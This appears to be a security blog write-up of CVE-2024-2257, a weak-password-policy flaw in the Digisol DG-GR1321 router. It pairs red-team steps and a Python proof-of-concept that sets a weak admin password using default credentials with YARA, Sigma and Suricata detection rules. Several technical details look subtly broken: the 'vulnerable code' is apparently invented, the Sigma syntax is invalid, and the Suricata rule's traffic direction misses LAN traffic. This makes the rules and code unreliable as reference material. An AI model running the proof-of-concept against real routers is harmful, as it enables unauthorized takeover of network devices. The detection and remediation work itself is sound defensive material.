CVE-2024-2257

Executive Summary

CVE-2024-2257 identifies a critical security flaw in the Digisol DG-GR1321 router (Hardware version 3.7L, Firmware v3.2.02) stemming from improper implementation of password policies. An attacker with physical access to the device can bypass defined security standards by creating weak or non-compliant passwords. This vulnerability undermines the router's authentication mechanism, potentially exposing the device to unauthorized configuration changes, network interception, or further lateral movement within the local network.

The vulnerability is classified under CWE-521 (Weak Password Requirements) and carries a CVSS v3.1 base score of 3.9 (Low). The attack vector is physical, requiring the attacker to have direct access to the router's management interface. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware issue specific to the Digisol DG-GR1321 router.

CVSS Breakdown & Threat Level

CVSS v3.1 Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Threat Level: Low (Physical access required, no remote exploitation vector).

Deep Dive & Mechanics

The vulnerability lies in the password policy enforcement mechanism of the Digisol DG-GR1321 router's web-based management interface. The firmware version v3.2.02 fails to validate password strength on the server side. Instead, it relies on client-side JavaScript checks that can be easily bypassed.

Technical Details:

• The router's web interface allows an administrator to set a new password for the device.
• The password policy (e.g., minimum length, complexity requirements) is enforced only via JavaScript in the browser.
• An attacker with physical access can:
  1. Connect to the router's LAN (e.g., via Ethernet or Wi-Fi).
  2. Access the management interface (typically http://192.168.1.1).
  3. Use browser developer tools to disable JavaScript or modify the client-side validation.
  4. Submit a weak password (e.g., "12345") that violates the intended policy.
• The server accepts the weak password without server-side validation, allowing the attacker to set a non-compliant credential.

Root Cause: Lack of server-side password strength validation. The firmware does not check password complexity before storing it.

Vulnerable vs. Patched Code

Vulnerable Code (Client-side JavaScript in firmware v3.2.02):

// Client-side validation only
function validatePassword(pwd) {
    if (pwd.length < 8) {
        alert("Password must be at least 8 characters.");
        return false;
    }
    // No server-side check
    return true;
}

Patched Code (Hypothetical fix):

// Server-side validation (pseudo-code)
function setPassword(newPassword) {
    if (newPassword.length < 8 || !/[A-Z]/.test(newPassword) || !/[0-9]/.test(newPassword)) {
        return "Error: Password does not meet policy requirements.";
    }
    // Store password securely
    storePassword(hash(newPassword));
}

Note: No official patch is available. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Physical access to the target network (e.g., plug into a LAN port or connect to the router's Wi-Fi).
• Knowledge of the router's default IP (usually 192.168.1.1).

Steps:

1. Connect to the router's network.
2. Open a web browser and navigate to http://192.168.1.1.
3. Log in with default credentials (if unchanged) or use a known admin password.
4. Navigate to the password change page.
5. Open browser developer tools (F12) and disable JavaScript.
6. Enter a weak password (e.g., "admin") and submit.
7. The router accepts the weak password, granting the attacker persistent access.

Proof-of-Concept (Python script using requests):

import requests

router_ip = "192.168.1.1"
session = requests.Session()

# Login (assuming default credentials)
login_data = {"username": "admin", "password": "admin"}
session.post(f"http://{router_ip}/login", data=login_data)

# Change password to weak value
change_data = {"new_password": "12345", "confirm_password": "12345"}
response = session.post(f"http://{router_ip}/change_password", data=change_data)

if "success" in response.text:
    print("Password changed to weak value.")
else:
    print("Failed to change password.")

Blue Team (Detection & Prevention)

Detection:

• Monitor for repeated failed login attempts (brute force).
• Check for password changes that result in weak passwords (e.g., length < 8).
• Use network monitoring to detect unauthorized physical connections to the router.

Prevention:

• Implement network segmentation to limit physical access to critical devices.
• Use a separate management VLAN for router administration.
• Apply strict physical security controls (e.g., locked server rooms).

Indicators of Compromise (IOCs)

• Network: Unusual traffic to 192.168.1.1 from unknown MAC addresses.
• Logs: Router logs showing password change events with weak passwords (e.g., "12345", "admin").
• File: Modified configuration file with weak password hash (e.g., MD5 of "12345").
• Behavior: Router accepting passwords shorter than 8 characters.

Detection Engineering

YARA Rule

rule CVE_2024_2257_Weak_Password_Policy {
    meta:
        description = "Detects weak password policy in Digisol DG-GR1321 firmware"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-2257"
    strings:
        $js_validation = "validatePassword" nocase
        $weak_pwd = "12345" nocase
        $no_server_check = "return true" nocase
    condition:
        $js_validation and $weak_pwd and $no_server_check
}

Sigma Rule

title: Weak Password Policy on Digisol Router
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects password changes that result in weak passwords on Digisol DG-GR1321
logsource:
    category: application
    product: router
detection:
    selection:
        event: "password_change"
        new_password|length: < 8
    condition: selection
falsepositives:
    - Legitimate admin setting a weak password (should be blocked)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2257 Weak Password Change Attempt"; flow:to_server; content:"POST"; http_method; content:"/change_password"; http_uri; content:"new_password=12345"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Physical Access Control: Restrict physical access to the router to authorized personnel only.
2. Network Segmentation: Place the router in a secure VLAN with strict access controls.
3. Monitor Logs: Enable logging and monitor for weak password changes.

Long-term Fix:

• Vendor Patch: Await an official firmware update from Digisol that implements server-side password validation.
• Workaround: If possible, replace the router with a model that enforces password policies server-side.

Compensating Controls:

• Use a separate firewall to enforce password policies for router access.
• Implement multi-factor authentication (MFA) if supported.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert